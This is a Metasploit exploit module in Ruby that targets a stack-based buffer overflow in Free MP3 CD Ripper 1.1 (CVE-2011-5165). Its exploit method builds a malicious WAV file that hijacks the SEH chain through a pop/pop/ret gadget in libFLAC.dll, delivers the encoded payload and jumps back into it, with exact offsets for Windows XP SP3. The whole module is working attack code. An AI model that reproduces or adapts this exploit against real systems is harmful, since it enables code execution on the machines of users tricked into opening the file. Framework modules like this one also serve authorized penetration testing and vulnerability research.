Dave York
82 lines
2.4 KiB
Ruby
82 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow found in Free MP3 CD
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Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious
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WAV file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Richard Leahy', # Initial discovery
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'X-h4ck', # msf module is based on his poc
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'Tiago Henriques', # msf module
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'James Fitts <fitts.james[at]gmail.com>' # clean ups
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],
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'References' =>
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[
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[ 'CVE', '2011-5165' ],
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[ 'OSVDB', '63349' ],
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[ 'EDB', '11975' ], #Initial disclosure
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[ 'EDB', '17727' ] #This exploit is based on this poc
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => true
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},
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3 EN',
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{
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'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
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'Offset' => 4116
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 27 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']),
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])
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end
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def exploit
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wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
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wav << payload.encoded
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wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
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wav << generate_seh_record(target.ret)
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wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
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wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(wav)
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end
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end
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